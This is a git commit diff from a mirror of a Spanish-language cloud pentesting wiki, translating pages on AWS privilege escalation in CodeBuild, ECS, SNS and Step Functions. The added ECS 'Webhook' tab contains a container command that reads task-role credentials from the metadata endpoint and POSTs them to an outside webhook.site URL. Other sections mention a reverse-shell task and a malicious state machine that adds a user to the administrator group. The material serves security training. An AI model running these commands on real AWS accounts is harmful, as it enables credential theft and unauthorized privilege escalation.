mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-13 21:36:23 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
This commit is contained in:
Translator
@@ -67,7 +67,7 @@ aws codebuild start-build-batch --project <project-name> --buildspec-override fi
|
||||
|
||||
### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
|
||||
|
||||
Un atacante con los permisos **`iam:PassRole`, `codebuild:CreateProject` y `codebuild:StartBuild` o `codebuild:StartBuildBatch`** podría **escalar privilegios a cualquier rol IAM de codebuild** creando uno en ejecución.
|
||||
Un atacante con los permisos **`iam:PassRole`, `codebuild:CreateProject`, y `codebuild:StartBuild` o `codebuild:StartBuildBatch`** podría **escalar privilegios a cualquier rol IAM de codebuild** creando uno en ejecución.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Example1" }}
|
||||
@@ -214,7 +214,7 @@ JSON="{
|
||||
|
||||
printf "$JSON" > $REV_PATH
|
||||
|
||||
aws codebuild update-project --cli-input-json file://$REV_PATH
|
||||
aws codebuild update-project --name codebuild-demo-project --cli-input-json file://$REV_PATH
|
||||
|
||||
aws codebuild start-build --project-name codebuild-demo-project
|
||||
```
|
||||
|
||||
@@ -13,6 +13,9 @@ Más **info sobre ECS** en:
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
|
||||
|
||||
Un atacante que abuse del permiso `iam:PassRole`, `ecs:RegisterTaskDefinition` y `ecs:RunTask` en ECS puede **generar una nueva definición de tarea** con un **contenedor malicioso** que roba las credenciales de metadatos y **ejecutarlo**.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Reverse Shell" }}
|
||||
```bash
|
||||
# Generate task definition with rev shell
|
||||
aws ecs register-task-definition --family iam_exfiltration \
|
||||
@@ -32,6 +35,46 @@ aws ecs run-task --task-definition iam_exfiltration \
|
||||
## You need to remove all the versions (:1 is enough if you just created one)
|
||||
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Webhook" }}
|
||||
|
||||
Crea un webhook con un sitio como webhook.site
|
||||
```bash
|
||||
|
||||
# Create file container-definition.json
|
||||
[
|
||||
{
|
||||
"name": "exfil_creds",
|
||||
"image": "python:latest",
|
||||
"entryPoint": ["sh", "-c"],
|
||||
"command": [
|
||||
"CREDS=$(curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}); curl -X POST -H 'Content-Type: application/json' -d \"$CREDS\" https://webhook.site/abcdef12-3456-7890-abcd-ef1234567890"
|
||||
]
|
||||
}
|
||||
]
|
||||
|
||||
# Run task definition, uploading the .json file
|
||||
aws ecs register-task-definition \
|
||||
--family iam_exfiltration \
|
||||
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
|
||||
--network-mode "awsvpc" \
|
||||
--cpu 256 \
|
||||
--memory 512 \
|
||||
--requires-compatibilities FARGATE \
|
||||
--container-definitions file://container-definition.json
|
||||
|
||||
# Check the webhook for a response
|
||||
|
||||
# Delete task definition
|
||||
## You need to remove all the versions (:1 is enough if you just created one)
|
||||
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
{{#endtabs }}
|
||||
|
||||
**Impacto Potencial:** Privesc directo a un rol de ECS diferente.
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
|
||||
@@ -97,7 +140,7 @@ aws ecs run-task \
|
||||
### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
|
||||
|
||||
Este escenario es como los anteriores pero **sin** el permiso **`iam:PassRole`**.\
|
||||
Esto sigue siendo interesante porque si puedes ejecutar un contenedor arbitrario, incluso si es sin un rol, podrías **ejecutar un contenedor privilegiado para escapar** al nodo y **robar el rol IAM de EC2** y los **otros roles de contenedores ECS** que se ejecutan en el nodo.\
|
||||
Esto sigue siendo interesante porque si puedes ejecutar un contenedor arbitrario, incluso si no tiene un rol, podrías **ejecutar un contenedor privilegiado para escapar** al nodo y **robar el rol IAM de EC2** y los **otros roles de contenedores ECS** que se ejecutan en el nodo.\
|
||||
Incluso podrías **forzar a otras tareas a ejecutarse dentro de la instancia EC2** que comprometes para robar sus credenciales (como se discutió en la [**sección Privesc a nodo**](aws-ecs-privesc.md#privesc-to-node)).
|
||||
|
||||
> [!WARNING]
|
||||
|
||||
@@ -28,7 +28,7 @@ aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
|
||||
|
||||
### `sns:AddPermission`
|
||||
|
||||
Un atacante podría otorgar acceso no autorizado a usuarios o servicios a un tema de SNS, potencialmente obteniendo más permisos.
|
||||
Un atacante podría otorgar acceso a un tema de SNS a usuarios o servicios no autorizados, potencialmente obteniendo más permisos.
|
||||
```css
|
||||
aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
|
||||
```
|
||||
|
||||
@@ -25,7 +25,7 @@ O también puedes ir a la documentación de la API de AWS y revisar la documenta
|
||||
|
||||
### `states:TestState` & `iam:PassRole`
|
||||
|
||||
Un atacante con los permisos **`states:TestState`** y **`iam:PassRole`** puede probar cualquier estado y pasar cualquier rol de IAM a él sin crear o actualizar una máquina de estados existente, lo que permite el acceso no autorizado a otros servicios de AWS con los permisos del rol. potencialmente. Combinados, estos permisos pueden llevar a acciones no autorizadas extensas, desde manipular flujos de trabajo para alterar datos hasta filtraciones de datos, manipulación de recursos y escalada de privilegios.
|
||||
Un atacante con los permisos **`states:TestState`** y **`iam:PassRole`** puede probar cualquier estado y pasar cualquier rol de IAM a él sin crear o actualizar una máquina de estados existente, lo que potencialmente permite el acceso no autorizado a otros servicios de AWS con los permisos del rol. Combinados, estos permisos pueden llevar a acciones no autorizadas extensas, desde manipular flujos de trabajo para alterar datos hasta filtraciones de datos, manipulación de recursos y escalada de privilegios.
|
||||
```bash
|
||||
aws states test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]
|
||||
```
|
||||
@@ -59,11 +59,11 @@ aws stepfunctions test-state --definition file://stateDefinition.json --role-arn
|
||||
"status": "SUCCEEDED"
|
||||
}
|
||||
```
|
||||
**Impacto Potencial**: Ejecución y manipulación no autorizadas de flujos de trabajo y acceso a recursos sensibles, lo que podría llevar a violaciones de seguridad significativas.
|
||||
**Impacto Potencial**: Ejecución y manipulación no autorizadas de flujos de trabajo y acceso a recursos sensibles, lo que podría llevar a brechas de seguridad significativas.
|
||||
|
||||
### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`)
|
||||
|
||||
Un atacante con **`states:CreateStateMachine`** & **`iam:PassRole`** podría crear una máquina de estados y proporcionarle cualquier rol de IAM, lo que permitiría el acceso no autorizado a otros servicios de AWS con los permisos del rol. A diferencia de la técnica de privesc anterior (**`states:TestState`** & **`iam:PassRole`**), esta no se ejecuta por sí misma, también necesitarás tener los permisos de **`states:StartExecution`** o **`states:StartSyncExecution`** (**`states:StartSyncExecution`** **no está disponible para flujos de trabajo estándar**, **solo para máquinas de estados expresas**) para iniciar una ejecución sobre la máquina de estados.
|
||||
Un atacante con **`states:CreateStateMachine`** & **`iam:PassRole`** podría crear una máquina de estados y proporcionarle cualquier rol de IAM, lo que permitiría el acceso no autorizado a otros servicios de AWS con los permisos del rol. A diferencia de la técnica de privesc anterior (**`states:TestState`** & **`iam:PassRole`**), esta no se ejecuta por sí misma; también necesitarás tener los permisos de **`states:StartExecution`** o **`states:StartSyncExecution`** (**`states:StartSyncExecution`** **no está disponible para flujos de trabajo estándar**, **solo para máquinas de estados expresas**) para iniciar una ejecución sobre la máquina de estados.
|
||||
```bash
|
||||
# Create a state machine
|
||||
aws states create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
|
||||
@@ -132,9 +132,9 @@ aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:1
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> El bucket S3 controlado por el atacante debería tener permisos para aceptar una acción s3:PutObject de la cuenta de la víctima.
|
||||
> El bucket S3 controlado por el atacante debe tener permisos para aceptar una acción s3:PutObject de la cuenta de la víctima.
|
||||
|
||||
**Impacto Potencial**: Ejecución no autorizada y manipulación de flujos de trabajo y acceso a recursos sensibles, lo que podría llevar a violaciones de seguridad significativas.
|
||||
**Impacto Potencial**: Ejecución y manipulación no autorizadas de flujos de trabajo y acceso a recursos sensibles, lo que podría llevar a violaciones de seguridad significativas.
|
||||
|
||||
### `states:UpdateStateMachine` & (no siempre requerido) `iam:PassRole`
|
||||
|
||||
@@ -142,13 +142,13 @@ Un atacante con el permiso **`states:UpdateStateMachine`** podría modificar la
|
||||
|
||||
Dependiendo de cuán permisivo sea el Rol IAM asociado a la máquina de estados, un atacante se enfrentaría a 2 situaciones:
|
||||
|
||||
1. **Rol IAM Permisivo**: Si el Rol IAM asociado a la máquina de estados ya es permisivo (tiene, por ejemplo, la política **`arn:aws:iam::aws:policy/AdministratorAccess`** adjunta), entonces el permiso **`iam:PassRole`** no sería necesario para escalar privilegios, ya que no sería necesario actualizar también el Rol IAM, con la definición de la máquina de estados es suficiente.
|
||||
1. **Rol IAM Permisivo**: Si el Rol IAM asociado a la máquina de estados ya es permisivo (tiene, por ejemplo, la política **`arn:aws:iam::aws:policy/AdministratorAccess`** adjunta), entonces el permiso **`iam:PassRole`** no sería necesario para escalar privilegios, ya que no sería necesario actualizar el Rol IAM, con la definición de la máquina de estados es suficiente.
|
||||
2. **Rol IAM No Permisivo**: En contraste con el caso anterior, aquí un atacante también requeriría el permiso **`iam:PassRole`** ya que sería necesario asociar un Rol IAM permisivo a la máquina de estados además de modificar la definición de la máquina de estados.
|
||||
```bash
|
||||
aws states update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
|
||||
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
|
||||
```
|
||||
Los siguientes ejemplos muestran cómo actualizar una máquina de estados legítima que solo invoca una función Lambda HelloWorld, para agregar un estado adicional que añade al usuario **`unprivilegedUser`** al grupo IAM **`administrator`**. De esta manera, cuando un usuario legítimo inicia una ejecución de la máquina de estados actualizada, este nuevo estado sigiloso malicioso se ejecutará y la escalada de privilegios será exitosa.
|
||||
Los siguientes ejemplos muestran cómo actualizar una máquina de estados legítima que solo invoca una función Lambda HelloWorld, para agregar un estado adicional que añade al usuario **`unprivilegedUser`** al grupo IAM **`administrator`**. De esta manera, cuando un usuario legítimo inicia una ejecución de la máquina de estados actualizada, este nuevo estado malicioso y sigiloso se ejecutará y la escalada de privilegios será exitosa.
|
||||
|
||||
> [!WARNING]
|
||||
> Si la máquina de estados no tiene un rol IAM permisivo asociado, también se requeriría el permiso **`iam:PassRole`** para actualizar el rol IAM con el fin de asociar un rol IAM permisivo (por ejemplo, uno con la política **`arn:aws:iam::aws:policy/AdministratorAccess`** adjunta).
|
||||
@@ -181,7 +181,7 @@ Los siguientes ejemplos muestran cómo actualizar una máquina de estados legít
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Máquina de Estado Actualizada Maliciosa" }}
|
||||
{{#tab name="Malicious Updated State Machine" }}
|
||||
```json
|
||||
{
|
||||
"Comment": "Hello world from Lambda state machine",
|
||||
@@ -226,6 +226,6 @@ aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-eas
|
||||
"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
|
||||
}
|
||||
```
|
||||
**Impacto Potencial**: Ejecución y manipulación no autorizadas de flujos de trabajo y acceso a recursos sensibles, lo que podría llevar a violaciones de seguridad significativas.
|
||||
**Impacto Potencial**: Ejecución y manipulación no autorizada de flujos de trabajo y acceso a recursos sensibles, lo que podría llevar a violaciones de seguridad significativas.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user